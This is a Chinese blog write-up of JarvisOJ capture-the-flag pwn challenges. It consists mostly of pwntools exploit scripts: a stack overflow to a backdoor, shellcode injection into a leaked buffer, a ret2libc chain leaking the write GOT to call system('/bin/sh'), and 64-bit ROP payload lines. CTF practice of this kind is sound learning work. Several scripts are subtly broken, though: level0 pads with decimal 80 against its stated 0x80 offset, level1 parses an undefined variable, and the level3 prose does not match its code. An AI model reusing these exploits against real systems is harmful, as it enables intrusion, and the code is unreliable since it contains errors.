0%

JarvisOj

今年网鼎杯我们四个人是一个逆向+三个web,线下进500个队,如果没pwn就gg了。所以没办法,玩了这么久的逆向,也该开始学pwn了,就从浙大JarvisOj开始刷吧。。。

level0

最简单的栈溢出,有后门,溢出0x80+8个字节即可

1
2
3
4
5
6
7
# -*- coding:utf-8 -*-
from pwn import *
sh = remote("pwn2.jarvisoj.com",9881)
addr = 0x400596 #callsystem地址
payload = 'a'*80 + 'a'*8 + p64(addr)
sh.send(payload)
sh.interactive()

level1

这题没有后门了

还是最简单的栈溢出,但是会把buf的地址泄漏出来,因此将shellcode写入buf

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding:utf-8 -*-
from pwn import *
p = remote('pwn2.jarvisoj.com', 9877)
sss = p.recvline()[14:-2] #末尾有\n
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)
#因为是在buf中构造的shellcode所以是负的
#正常应该是 payload = padding1 + address of shellcode + padding2 + shellcode
#所以规范就是 payload = 'a' * (0x88+4) + p32(buf_addr) - 'a' * len(shellcode) + shellcode
#但是这样运行不了,我猜是这样
p.send(payload)
p.interactive()

level3

我们需要将整个程序运行两次——第一次用来泄露信息,第二次进行system的调用(借鉴之前的sctf-pwn200的思路)
第一次用write和read函数来进行地址的泄露和plt表的修改,然后通过在vulnerable函数调用完成之后返回main函数,为了泄漏write_got。进行第二次运行,因为在第一次的时候,plt表已经改写成system的地址,所以在write或者read调用的时候实际上调用的是system,所以拿到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
elf = ELF('./level3')
local = 0
conn = process('./level3')
libc = ELF('./libc_2.19.so')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x0804844B
payload = 'A' * (0x88 + 4)
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1) + p32(write_got) + p32(4) #write的参数,write_got就是我们想要泄漏的地址
#因为write_got存的是write在进程中的真实地址,为了后面去算system函数的地址
conn.sendlineafter('Input:\n', payload)
write_addr = u32(conn.recv()[:4])

libc_base = write_addr - libc.symbols['write']
#address_B = address_A + addr_B - addr_A
#address_B/A 是函数AB在进程中的地址,addr_A/B是函数AB在libc中的地址
sys_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + libc.search('/bin/sh').next()

payload = 'A' * (0x88 + 4)
payload += p32(sys_addr)
payload += '9527'
payload += p32(bin_addr)

conn.sendline(payload)
conn.interactive()

conn.close()

level3_x64

1
2
payload1='A'*  0x88+ "BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
payload1='A' * 0x88 + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr)